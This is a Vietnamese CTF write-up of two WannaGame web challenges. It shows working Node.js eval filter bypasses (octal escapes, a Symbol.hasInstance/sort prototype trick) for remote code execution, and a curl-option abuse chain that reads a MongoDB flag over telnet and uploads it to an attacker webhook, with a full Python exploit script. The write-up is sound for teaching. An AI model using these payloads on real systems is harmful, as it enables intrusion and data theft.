Post

WannaGame

WannaGame vừa mới kết thúc, mình xin viết lại một số bài mà mình làm được, giải này mình khá may mắn khi giải được 2 bài và mình cũng học được rất nhiều thứ từ giải này.

alt text

newchall

1
2
3
4
5
This is a simple calc program,let's try /exec?q=9*10.

Author: dcthinh

http://45.122.249.68:20011

Bài này cho một trang web có chức năng như trên và mình đoán khá là chắc rằng tất cả những gì mình nhập vào sẽ được đưa vào eval nên chúng ta cứ thử một số payload đơn giản vào trước.

1
require("child_process").spawnSync('ls').output.toString()

Và có vẻ như là bị chặn, mình nghĩ là có thể chặn một số từ khóa như require hoặc child_process nên mình sẽ thử một số payload khác

Payload 1:

1
global.process.mainModule.require('child_process').execSync('ls').toString()

Tất nhiên cái này sẽ bị chặn vì có từ khóa require nên mình sẽ tìm cách để bypass cái này. Chúng ta có thể gọi require như sau

1
global.process.mainModule["require"]

alt text

Ta có thể đổi require thành requir\145 (\145 là mã octal của e) vì trong quá trình thực thi requir\145 sẽ được chuyển thành require và chúng ta có thể lợi dụng cái này để bypass filters

Payload cuối cùng

1
global.process.mainModule["requir\145"]('chil\144_proces\163')["spaw\156Sy\156c"]('cat',['flag.txt']).output.toString();

Và mình có được flag

alt text

Sau khi dump ra được source thì đây là các chuỗi bị chặn

1
blacklist = ['system', 'child_process', 'exec', 'spawn', 'eval', 'require'];

Payload 2:

Note: Cách này mình đã đọc được từ writeup của các giải amstrong2024 và TSG2023 và tham khảo của anh shin24 link mình sẽ đính kèm bên dưới

1
2
3
4
5
6
7
toString.constructor.prototype.toString=toString.constructor.prototype.call;
var a=["process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')"];
a[1]="x";
b={};
b[Symbol.hasInstance]=a.sort;
b["__proto__"]=a;
toString.constructor instanceof b;

Giải thích sơ qua về payload này

  • Đầu tiên chúng ta sẽ gọi đến function toString và gán giá trị của function call cho nó

  • Tiếp theo ta tạo một mảng a với giá trị đầu tiên là payload mà ta muốn execute (payload này sẽ được thực thi trong anonymous function)

  • Tiếp theo ta gán giá trị 'x' cho a[1] (sẽ giải thích ở bên dưới vì sao có phần này)

  • Sau đó tạo một object b với key là Symbol.hasInstance và value là a.sort

  • Sau đó set __proto__ của b là a

  • Cuối cùng là kiểm tra xem toString.constructor có phải là instance của b (thật ra đoạn này không hẳn là kiểm tra mà là điều kiện để RCE)

Trước khi đi vào phần phân tích sâu hơn, mình sẽ giải thích về cách của instanceof hoạt động

Syntax

1
object instanceof constructor

Toán tử instanceof là toán tử dùng để kiểm tra xem một đối tượng có thuộc lớp nào đó hay không

Ví dụ đơn giản như sau

1
2
3
4
class BOX {}
let DI = new BOX();

console.log(DI instanceof BOX); //true

Ngoài ra nếu constructor (phần bên phải của instanceof) có phương thức Symbol.hasInstance thì nó sẽ được ưu tiên gọi, với object (phần bên trái của instanceof) là tham số truyền vào còn bên phải là this sau đó dùng kết quả để trả về kết quả của instanceof

Ví dụ 1:

1
2
3
4
5
6
7
8
9
BOX = {[Symbol.hasInstance]: (dib) => {
    // console.log(dib)
    return dib === 'dib'
}};

DI = 'dib'

console.log(DI instanceof BOX); //true

Ví dụ 2:

1
2
3
4
5
6
7
8
9
10
a = ['1','0']
a.__proto__['loG'] = function(a) {
    console.log("triggered")
}
BOX = {[Symbol.hasInstance]: a.loG};

DI = Function

console.log(DI instanceof BOX); // "triggered"
// console.log(a)

Đến phần chính, đi sâu vào giải thích vì sao nó hoạt động

1
toString.constructor instanceof b;

Khi câu lệnh này được thực thi thì:

  • Khi instanceof được sử dụng thì nó sẽ tìm kiếm xem b có thuộc tính Symbol.hasInstance không? Nếu có thì sẽ thực thi gọi tới a.sortthistoString.constructor (AKA Function) là tham số truyền vào

  • Khi a.sort(function sort) được gọi đến thì bình thường thì nó sẽ cố gắng chuyển tất cả các phần tử trong mảng thành string bằng hàm toString() rồi so sánh bằng function truyền vào. Điều này vô tình trigger hàm call() chúng ta đã đổi ở lúc đầu và bây giờ cả array sẽ trở thành parameter của new Function

  • Nói thêm ở phần này về lý do phải set b[__proto__]=a là vì sortfunction của array nên chúng ta phải đổi prototype của nó thành array thì sort mới có thể được thực thi và hơn hết khi đó sort sẽ được thực thi trên b, b lúc này là một object nên sort sẽ cố gắng tìm kiếm array trong object này bằng cách tìm kiếm trong prototype của nó khi đó nó sẽ tìm được 1 array trong vì ta set prototype của ba

  • Giá trị return của new Function này sẽ là một anonymous với a[0] là function và a[1] là parameter

1
2
3
4
(function anonymous(x
) {
process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')
})
  • Để nói thêm một chút nữa thì flow của chương trình sẽ như sau trigger sort -> sort nhận Function làm tham số -> Function là hàm được sử dụng để ‘so sánh’ các phần tử bên trong mảng -> Mỗi phần từ được chuyển qua string(trigger call function) -> Trả về một anonymouse function -> Cuối cùng giá trị sau khi ‘so sánh’ sẽ được trả về dưới dạng string (trigger call function)

Đây là code mô phỏng lại quá trình sort

1
2
3
toString.constructor.prototype.toString=Function.call;

Function(a[1].toString(),a[0].toString()).toString();

Từ đó ta RCE và lấy được flag

Flag: W1{hehehe}

P/S: thật ra cách này đúng là “dùng dao mổ trâu để giết gà” vì cách này dùng cho những bài với filter chặt và bị hạn chế nhiều thứ. Do mình có sử dụng cách này khi thi nên tiện thể phân tích luôn cách này

CURR

1
2
3
4
5
6
Let explore my website!!!

Author: dcthinh

http://45.122.249.68:20014

Tóm tắt về source code của trang web này

App này có 3 route ,/ , /api/login và /api/curr và mình sẽ tập trung vào route /api/curr

Route này có chức năng là dùng lệnh curl với các options như là -d, …, và có một cái middleware là /api/login để kiểm tra login

Users và Flag được lưu trong mongoDB và đọc code một lúc thì không có cách nào để login hay bypass login cả

1
2
3
4
5
6
7
const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: "admin", pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "W1{REACTED}" });

Nhưng nhìn kỉ lại midleware thì mình thấy một điều khá là lạ

1
2
3
4
5
6
7
const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=login first");
    }
    next();
};

Vì sao lại có next(); ở dưới cùng của middleware này, mình nghĩ là có vẻ như là dù không có login nhưng vẫn có thể đi tới endpoint sau chăng ?

Và đúng là thế, nó sẽ chạy phần code phía sau nhưng mà chúng ta không thể thấy phần output thôi

alt text alt text

Đến phần /api/curr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app.post("/api/curr", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // check method
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

Phần này sẽ lấy URL của chúng ta và kiểm tra nó sau đó kiểm tra phần opt nếu nó qua được phần kiểm tra thì sẽ thực thi lệnh curr với các options mà ta thêm vào

Phần kiểm tra opt khá là chặt. Đầu tiên kiểm tra xem opt có bắt đầu bằng - và sau đó 1 là 1 ký tự [a-zA-Z] không, tiếp sau đó kiểm tra opt một là -d và là data hay là 1 option bất kỳ và có data là GET, hoặc là POST.

Và curl có hỗ trợ một options là -K (–config) option này giúp cho lệnh curl của chúng ta đọc từ một file text và sử dụng nó làm các options. Từ đó suy ra nếu mà có cách nào đó để chúng ta download file options của chúng ta về server và bắt server curl với options đó ta có thể curl tới bất kỳ URL nào

Để thử thì đây là options thử nghiệm

1
2
--url "http://XXXXXX.requestrepo.com"
user-agent = "yuu"

Ta có thể setup một python http server và expose bằng ngrok để và dùng curl để download file bằng cách sau

1
url =xxxxx.NGROK.com/options.txt&opt=-o&data=GET

Tiếp tục ta thử xem liệu nó có request đến server của mình với useragent là yuu không

1
url =xxxxxx.webhook.com&opt=-K&data=GET

alt text

Vậy là có thể gửi tới bất kỳ url nào với bất kỳ options nào mà ta muốn

Vậy với những thứ này thì làm sao lấy flag từ mongoDB đây? MongoDB giao tiếp thông qua MongoDB Wire Protocol. Người dùng có thể giao tiếp với database server thông qua TCP/IP. Vậy chúng ta có thể dùng gopher để và dùng curl để connect tới database server và lấy flag, nhưng tiếc là chúng ta không thể dùng gopher vì author đã set up như bên dưới

alt text

Nhưng mà vẫn có một số protocol khác như telnet khi mà chúng cũng giao tiếp bằng TCP

Vậy ta có thể gửi một binary file(TCP transfer - file này chứa một giao tiếp lấy flag) cho mongo database server để server trả cái flag về

Ta có thể bắt file này bằng cách tạo một file để giả lập việc lấy flag và sử dụng tcpdump để bắt gói tin đó

alt text

File js dùng để lấy flag

1
2
3
4
5
6
7
8
const  { MongoClient } = require( "mongodb" );
const client = new MongoClient( "mongodb://mongodb:27017/" );
client.connect().then(async () => { 
    const flag = client.db( "secret" ).collection( "flag" );
    var flag_1 = await flag.findOne()
    console.log(flag_1);
    client.close();
} );

Đây là nội dung lúc giao tiếp với server

alt text

Ta có thể tải nội dung TCP payload về, đây chính là quá trình mà server giao tiếp với database

Thử dùng file này để giao tiếp xem có được không

alt text

Nó có trả về flag vậy có nghĩa là chúng ta có thể dùng cách này

Vậy cuối cùng đây là cách làm

  • Tải file options với nội dung bên dưới url=http://NGROKSERVER.com/options.txt&opt=-o&data=GET
1
2
3
4
--max-time 1
--upload-file "POST"
--url "telnet://mongodb:27017"
-o "GET"
  • Tiếp theo tải file data tcp mà ta bắt được vào server url=http://NGROKSERVER.com/test.data.dat&opt=-o&data=POST

  • Sau đó request đến một trang web bất kỳ với option là file GET(options mà ta lúc nãy gửi) url=http://ABCXYZ.COM&opt=-K&data=GET ( lúc này là lúc mà chúng ta giao tiếp với database để lấy flag và lưu vào GET)

  • Cuối cùng là upload file GET về server của ta url=http://WEBHOOKSERVER.COM&opt=-T&data=GET

Payload tự động lấy flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time

# URL = "http://localhost:8888"
URL = "http://45.122.249.68:20014"

data = {
    "url": "https://NGROKSERVER/options.txt",
    "opt": "-o",
    "data": "GET"
}
r = requests.post(f"{URL}/api/curr", data=data)

time.sleep(1)

data = {
    "url": "https://NGROKSERVER/test.data.dat",
    "opt": "-o",
    "data": "POST"
}
r = requests.post(f"{URL}/api/curr", data=data)

time.sleep(1)

data = {
    "url": "http://ABCXYZ.COM",
    "opt": "-K",
    "data": "GET"
}
r = requests.post(f"{URL}/api/curr", data=data)

time.sleep(5)

data = {
    "url": "http://WEBHOOKSERVER.COM",
    "opt": "-T",
    "data": "GET"
}

r = requests.post(f"{URL}/api/curr", data=data)


alt text

Flag: W1{nice_try_without_gopher}

Kết bài

This post is licensed under CC BY 4.0 by the author.